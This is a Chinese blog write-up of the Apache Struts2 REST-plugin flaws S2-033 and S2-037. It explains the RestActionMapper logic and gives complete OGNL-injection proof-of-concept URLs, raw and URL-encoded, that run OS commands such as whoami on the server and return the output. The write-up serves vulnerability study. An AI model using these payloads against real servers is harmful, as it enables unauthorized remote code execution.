S2-033、S2-037
前言
S2-033漏洞和S2-032类似,也是由于开启了动态方法调用,action mapper中的执行的方法名可控,导致了ognl表达式注入。
正文
Rest插件中获取action mapper是用的RestActionMapper.getMapping()
其实逻辑和DefaultActionMapper中的差不多,也是用handleDynamicMethodInvocation方法来判断是否开启了动态方法调用然后截取!后面的字符串作为action method name
其实没什么好分析的,只是由于时rest风格的请求,poc和以前有些区别,
首先在正式解析uri前会先对uri的后缀做校验,只能时“json”、“xml”、“xhtml”和空
所以我们的poc后面需要加上后缀,如果不加由于poc中本身带有.号,以S2-032的poc为例
这样Struts2会认为后缀是“.tostring”,这样后面的流程会有问题
localhost:8088/orders/3!%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ipconfig
另外S2-032中使用的是method:S2-033中是不能这样的,原因是虽然我们再Struts.xml中配置了开启动态方法调用的常量为true,要想method:参数起作用需要DefaultActionMapper的allowDynamicMethodCalls参数为true,但是我们前面说了rest插件是使用的RestActionMapper类来getmapping的,也就是说RestActionMapper的allowDynamicMethodCalls为true,而DefaultActionMapper的allowDynamicMethodCalls参数依然为false(这里有点不好表达,说白了就是rest插件不让使用method:我是这样理解的)
S2-037
S2-037是S2-033的一个绕过,不需要开启动态方法调用就可以进行rce。RestActionMapper类的getmapping比DefaultActionMapper中多了后面一部分,也就是rest插件支持actionName/id/methodName这种方式解析uri,且并不用开启动态方法调用。
直接给出poc吧(需要url编码):
/orders/3/#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#process=@java.lang.Runtime@getRuntime().exec(#parameters.command[0]),#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()),@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros),#ros.flush(),#xx=123,#xx.toString.json?command=whoami
/orders/3/%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=whoami
参考文章
https://www.jianshu.com/p/5c6958342949
https://blog.csdn.net/wyvbboy/article/details/51697909
https://cwiki.apache.org/confluence/display/WW/S2-033
最新文章
- Linux sendmail发送邮件失败诊断案例(一)
- fushioncharts 使用教程要点---使用JSON数据方式
- 《Haskell趣学指南 Learn You a Haskell for Great Good!》-代码实验
- poj 算法 分类
- iOS - 第三方框架 - AFN
- Spring AOP应用实例demo
- hdu 5570 balls(期望好题)
- JDK动态代理简单小程序
- Extjs的架构设计思考,单页面应用 or 多页面?
- 记一次诡异的jetty问题
- HDU2008
- SQL Server数据库文件与文件组总结
- jq中get()和eq()的区别
- C#:前台线程后台线程
- C语言Socket-模拟远程CMD(客户端向服务器发送命令,服务器执行该命令)
- Jmeter性能测试-分布式压力测试
- Spring Mongo配置多个Mongos
- VS2010/MFC编程入门之七(对话框:为对话框添加控件)
- Mysql之正则匹配
- Oil Deposits(DFS连通图)
热门文章
- 常用sql2
- opencv之dlib库人脸识别
- 001-http-总览、文件配置、常用http client、http连接池
- Qt 获取键盘输入
- 阶段5 3.微服务项目【学成在线】_day09 课程预览 Eureka Feign_08-课程预览技术方案
- 阶段5 3.微服务项目【学成在线】_day18 用户授权_02-方法授权-需求分析
- 阶段5 3.微服务项目【学成在线】_day17 用户认证 Zuul_06-用户认证-认证服务查询数据库-Bcrypt介绍
- python安装lnmp
- js实现div吸顶效果
- Spring Cloud(6.3):搭建OAuth2 Resource Server